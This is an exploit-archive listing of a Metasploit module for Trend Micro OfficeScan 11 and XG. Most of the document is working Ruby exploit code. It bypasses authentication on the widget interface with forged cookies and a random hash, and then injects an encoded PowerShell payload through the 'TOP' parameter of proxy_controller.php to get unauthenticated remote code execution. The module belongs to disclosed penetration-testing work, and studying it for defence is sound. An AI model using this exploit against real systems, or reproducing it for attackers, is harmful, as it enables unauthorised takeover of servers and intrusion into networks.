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Trend Micro OfficeScan Remote Code Execution

Trend Micro OfficeScan Remote Code Execution
Posted Oct 10, 2017
Authored by mr_me, Mehmet Ince | Site metasploit.com

This Metasploit module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.

tags | exploit, web, php, tcp, vulnerability
MD5 | 02f022c47acfeb55ae34578721c1b3be

Trend Micro OfficeScan Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => "Trend Micro OfficeScan Remote Code Execution",
'Description' => %q{
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
terminal command under the context of the web server user.

The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product
has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which
leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
unauthenticated users can execute a terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me@offensive-security.com>', # author of command injection
'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443
},
'Platform' => ['win'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
['OfficeScan 11', {}],
['OfficeScan XG', {}],
],
'Privileged' => false,
'DisclosureDate' => "Oct 7 2017",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/'])
]
)
end

def build_csrftoken(my_target, phpsessid=nil)
vprint_status("Building csrftoken")
if my_target.name == 'OfficeScan XG'
csrf_token = Rex::Text.md5(Time.now.to_s)
else
csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0]
end
csrf_token
end

def auto_target
#XG version of the widget library has package.json within the same directory.
mytarget = target
if target['auto'] && target.name =~ /Automatic/
print_status('Automatic targeting enabled. Trying to detect version.')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'),
})

if res && res.code == 200
mytarget = targets[2]
elsif res && res.code == 404
mytarget = targets[1]
else
fail_with(Failure::Unknown, 'Unable to automatically select a target')
end
print_status("Selected target system : #{mytarget.name}")
end
mytarget
end

def auth(my_target)
# Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9.
# Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie.
if my_target.name == 'OfficeScan XG'
csrf_token = build_csrftoken(my_target)
cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}"
# Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us.
else
vprint_status("Sending session initiation request for : #{my_target.name}.")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'),
})
cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}"
csrf_token = build_csrftoken(my_target, res.get_cookies)
end

# Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version.
# Now we need to exploit authentication bypass vulnerability.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'),
'headers' => {
'X-CSRFToken' => csrf_token,
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
},
'cookie' => cookie,
'vars_post' => {
'cid' => '1',
'act' => 'check',
'hash' => Rex::Text.rand_text_alpha(10),
'pid' => '1'
}
})

if res && res.code == 200 && res.body.include?('login successfully')
# Another business logic in here.
# Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php
# Version XG want to use newly created PHPSESSID that comes from auth bypass response.
if my_target.name == 'OfficeScan XG'
res.get_cookies
else
cookie
end
else
nil
end
end

def check
my_target = auto_target
token = auth(my_target)
# If we dont have a cookie that means authentication bypass issue has been patched on target system.
if token.nil?
Exploit::CheckCode::Safe
else
# Authentication bypass does not mean that we have a command injection.
# Accessing to the widget framework without having command injection means literally nothing.
# So we gonna trigger command injection vulnerability without a payload.
csrf_token = build_csrftoken(my_target, token)
vprint_status('Trying to detect command injection vulnerability')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
'headers' => {
'X-CSRFToken' => csrf_token,
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
},
'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}",
'vars_post' => {
'module' => 'modTMCSS',
'serverid' => '1',
'TOP' => ''
}
})
if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end

def exploit
mytarget = auto_target
print_status('Exploiting authentication bypass')
cookie = auth(mytarget)
if cookie.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Authenticated successfully bypassed.")
end

print_status('Generating payload')

powershell_options = {
encode_final_payload: true,
remove_comspec: true
}
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)


# We need to craft csrf value for version 11 again like we did before at auth function.
csrf_token = build_csrftoken(mytarget, cookie)

print_status('Trigerring command injection vulnerability')

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
'headers' => {
'X-CSRFToken' => csrf_token,
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
},
'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}",
'vars_post' => {
'module' => 'modTMCSS',
'serverid' => '1',
'TOP' => "2>&1||#{p}"
}
})

end
end

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